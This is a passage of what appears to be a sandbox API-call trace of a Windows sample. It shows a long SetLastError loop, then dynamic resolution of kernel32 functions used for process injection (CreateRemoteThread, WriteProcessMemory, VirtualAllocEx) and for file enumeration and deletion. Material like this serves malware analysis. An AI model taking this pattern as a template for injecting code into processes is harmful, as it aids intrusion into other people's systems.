[0226.531] SetLastError (dwErrCode=0x2a9) [0226.531] GetLastError () returned 0x2a9 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2ad) [0226.531] GetLastError () returned 0x2ad [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2b1) [0226.531] GetLastError () returned 0x2b1 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2b5) [0226.531] GetLastError () returned 0x2b5 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2b9) [0226.531] GetLastError () returned 0x2b9 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2bd) [0226.531] GetLastError () returned 0x2bd [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2c1) [0226.531] GetLastError () returned 0x2c1 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2c5) [0226.531] GetLastError () returned 0x2c5 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2c9) [0226.531] GetLastError () returned 0x2c9 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2cd) [0226.531] GetLastError () returned 0x2cd [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2d1) [0226.531] GetLastError () returned 0x2d1 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.531] SetLastError (dwErrCode=0x2d5) [0226.531] GetLastError () returned 0x2d5 [0226.531] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2d9) [0226.532] GetLastError () returned 0x2d9 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2dd) [0226.532] GetLastError () returned 0x2dd [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2e1) [0226.532] GetLastError () returned 0x2e1 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2e5) [0226.532] GetLastError () returned 0x2e5 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2e9) [0226.532] GetLastError () returned 0x2e9 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2ed) [0226.532] GetLastError () returned 0x2ed [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2f1) [0226.532] GetLastError () returned 0x2f1 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2f5) [0226.532] GetLastError () returned 0x2f5 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2f9) [0226.532] GetLastError () returned 0x2f9 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x2fd) [0226.532] GetLastError () returned 0x2fd [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x301) [0226.532] GetLastError () returned 0x301 [0226.532] GetCurrentThread () returned 0xfffffffe [0226.532] SetLastError (dwErrCode=0x305) [0226.532] GetLastError () returned 0x305 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x309) [0226.533] GetLastError () returned 0x309 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x30d) [0226.533] GetLastError () returned 0x30d [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x311) [0226.533] GetLastError () returned 0x311 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x315) [0226.533] GetLastError () returned 0x315 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x319) [0226.533] GetLastError () returned 0x319 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x31d) [0226.533] GetLastError () returned 0x31d [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x321) [0226.533] GetLastError () returned 0x321 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x325) [0226.533] GetLastError () returned 0x325 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x329) [0226.533] GetLastError () returned 0x329 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x32d) [0226.533] GetLastError () returned 0x32d [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x331) [0226.533] GetLastError () returned 0x331 [0226.533] GetCurrentThread () returned 0xfffffffe [0226.533] SetLastError (dwErrCode=0x335) [0226.533] GetLastError () returned 0x335 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x339) [0226.534] GetLastError () returned 0x339 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x33d) [0226.534] GetLastError () returned 0x33d [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x341) [0226.534] GetLastError () returned 0x341 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x345) [0226.534] GetLastError () returned 0x345 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x349) [0226.534] GetLastError () returned 0x349 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x34d) [0226.534] GetLastError () returned 0x34d [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x351) [0226.534] GetLastError () returned 0x351 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x355) [0226.534] GetLastError () returned 0x355 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x359) [0226.534] GetLastError () returned 0x359 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x35d) [0226.534] GetLastError () returned 0x35d [0226.534] GetCurrentThread () returned 0xfffffffe [0226.534] SetLastError (dwErrCode=0x361) [0226.534] GetLastError () returned 0x361 [0226.534] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x365) [0226.535] GetLastError () returned 0x365 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x369) [0226.535] GetLastError () returned 0x369 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x36d) [0226.535] GetLastError () returned 0x36d [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x371) [0226.535] GetLastError () returned 0x371 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x375) [0226.535] GetLastError () returned 0x375 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x379) [0226.535] GetLastError () returned 0x379 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x37d) [0226.535] GetLastError () returned 0x37d [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x381) [0226.535] GetLastError () returned 0x381 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x385) [0226.535] GetLastError () returned 0x385 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x389) [0226.535] GetLastError () returned 0x389 [0226.535] GetCurrentThread () returned 0xfffffffe [0226.535] SetLastError (dwErrCode=0x38d) [0226.535] GetLastError () returned 0x38d [0226.535] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x391) [0226.536] GetLastError () returned 0x391 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x395) [0226.536] GetLastError () returned 0x395 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x399) [0226.536] GetLastError () returned 0x399 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x39d) [0226.536] GetLastError () returned 0x39d [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3a1) [0226.536] GetLastError () returned 0x3a1 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3a5) [0226.536] GetLastError () returned 0x3a5 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3a9) [0226.536] GetLastError () returned 0x3a9 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3ad) [0226.536] GetLastError () returned 0x3ad [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3b1) [0226.536] GetLastError () returned 0x3b1 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3b5) [0226.536] GetLastError () returned 0x3b5 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3b9) [0226.536] GetLastError () returned 0x3b9 [0226.536] GetCurrentThread () returned 0xfffffffe [0226.536] SetLastError (dwErrCode=0x3bd) [0226.536] GetLastError () returned 0x3bd [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3c1) [0226.537] GetLastError () returned 0x3c1 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3c5) [0226.537] GetLastError () returned 0x3c5 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3c9) [0226.537] GetLastError () returned 0x3c9 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3cd) [0226.537] GetLastError () returned 0x3cd [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3d1) [0226.537] GetLastError () returned 0x3d1 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3d5) [0226.537] GetLastError () returned 0x3d5 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3d9) [0226.537] GetLastError () returned 0x3d9 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3dd) [0226.537] GetLastError () returned 0x3dd [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3e1) [0226.537] GetLastError () returned 0x3e1 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.537] SetLastError (dwErrCode=0x3e5) [0226.537] GetLastError () returned 0x3e5 [0226.537] GetCurrentThread () returned 0xfffffffe [0226.538] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x100) returned 0x21ff5a8 [0226.538] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x373c) returned 0x21804a0 [0226.538] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.538] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6c8 [0226.538] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0226.539] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0226.539] lstrlenA (lpString="kernel32.dll") returned 12 [0226.539] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.539] lstrlenA (lpString="GetModuleHandleA") returned 16 [0226.539] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.539] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.539] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6c8 [0226.539] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0226.539] lstrlenA (lpString="kernel32.dll") returned 12 [0226.539] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.539] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0226.539] lstrlenA (lpString="GetProcAddress") returned 14 [0226.539] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.539] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x19) returned 0x21ff6b0 [0226.539] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0226.540] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0226.540] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.540] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.540] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0226.540] lstrlenA (lpString="Process32First") returned 14 [0226.540] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.540] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.540] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0226.540] lstrlenA (lpString="Process32Next") returned 13 [0226.540] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.540] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.540] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0226.540] lstrlenA (lpString="Module32First") returned 13 [0226.540] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.540] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.540] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0226.541] lstrlenA (lpString="Module32Next") returned 12 [0226.541] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.541] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff6b0 [0226.541] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0226.541] lstrlenA (lpString="CreateRemoteThread") returned 18 [0226.541] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.541] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff6b0 [0226.541] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0226.541] lstrlenA (lpString="WriteProcessMemory") returned 18 [0226.541] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.541] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x12) returned 0x21ff6b0 [0226.541] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0226.541] lstrlenA (lpString="ReadProcessMemory") returned 17 [0226.541] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.541] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.542] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0226.542] lstrlenA (lpString="OpenProcess") returned 11 [0226.542] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.542] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.542] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0226.542] lstrlenA (lpString="VirtualAllocEx") returned 14 [0226.542] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.542] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.542] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0226.542] lstrlenA (lpString="VirtualFreeEx") returned 13 [0226.542] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.542] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.542] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0226.542] lstrlenA (lpString="VirtualProtect") returned 14 [0226.542] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.542] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff6b0 [0226.543] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0226.543] lstrlenA (lpString="WaitForSingleObject") returned 19 [0226.543] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.543] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.543] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0226.543] lstrlenA (lpString="SetLastError") returned 12 [0226.543] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.543] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x15) returned 0x21ff6b0 [0226.543] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0226.543] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0226.543] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.543] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x15) returned 0x21ff6b0 [0226.543] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0226.543] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0226.543] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.543] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.544] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0226.544] lstrlenA (lpString="CreateProcessA") returned 14 [0226.544] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.544] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff6b0 [0226.544] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0226.544] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0226.544] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.544] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.544] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0226.544] lstrlenA (lpString="SetFilePointer") returned 14 [0226.544] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.544] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.544] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0226.544] lstrlenA (lpString="SetEndOfFile") returned 12 [0226.544] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.545] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.545] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0226.545] lstrlenA (lpString="FindFirstFileA") returned 14 [0226.545] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.545] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.545] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0226.545] lstrlenA (lpString="FindNextFileA") returned 13 [0226.545] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.545] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff6b0 [0226.545] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0226.556] lstrlenA (lpString="FindClose") returned 9 [0226.556] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.556] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.557] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0226.557] lstrlenA (lpString="CreateFileA") returned 11 [0226.557] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.557] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.557] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0226.557] lstrlenA (lpString="CreateFileW") returned 11 [0226.557] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.557] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff6b0 [0226.557] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0226.557] lstrlenA (lpString="ReadFile") returned 8 [0226.557] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.557] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff6b0 [0226.557] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0226.557] lstrlenA (lpString="WriteFile") returned 9 [0226.557] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.558] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.558] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0226.558] lstrlenA (lpString="CloseHandle") returned 11 [0226.558] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.558] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.558] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0226.558] lstrlenA (lpString="DeleteFileA") returned 11 [0226.562] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.562] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.562] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0226.562] lstrlenA (lpString="LoadLibraryA") returned 12 [0226.562] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.562] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff6b0 [0226.562] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0226.562] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0226.562] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.562] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff6b0 [0226.562] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0226.562] lstrlenA (lpString="MoveFileA") returned 9 [0226.563] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.563] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff6b0 [0226.563] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0226.563] lstrlenA (lpString="LocalFree") returned 9 [0226.563] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.563] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.563] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0226.563] lstrlenA (lpString="CreateDirectoryA") returned 16 [0226.563] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.563] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x16) returned 0x21ff6b0 [0226.563] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0226.563] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0226.563] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.563] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.563] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0226.564] lstrlenA (lpString="CreateThread") returned 12 [0226.564] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.564] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ff6b0 [0226.564] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0226.564] lstrlenA (lpString="OpenThread") returned 10 [0226.564] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.564] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1a) returned 0x21ff6b0 [0226.564] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0226.564] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0226.564] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.564] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.564] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0226.564] lstrlenA (lpString="VirtualProtectEx") returned 16 [0226.564] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.564] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff6b0 [0226.565] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0226.565] lstrlenA (lpString="GetFileAttributesW") returned 18 [0226.565] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.565] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.565] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0226.565] lstrlenA (lpString="FindResourceA") returned 13 [0226.565] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.565] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.565] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0226.565] lstrlenA (lpString="SizeofResource") returned 14 [0226.565] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: 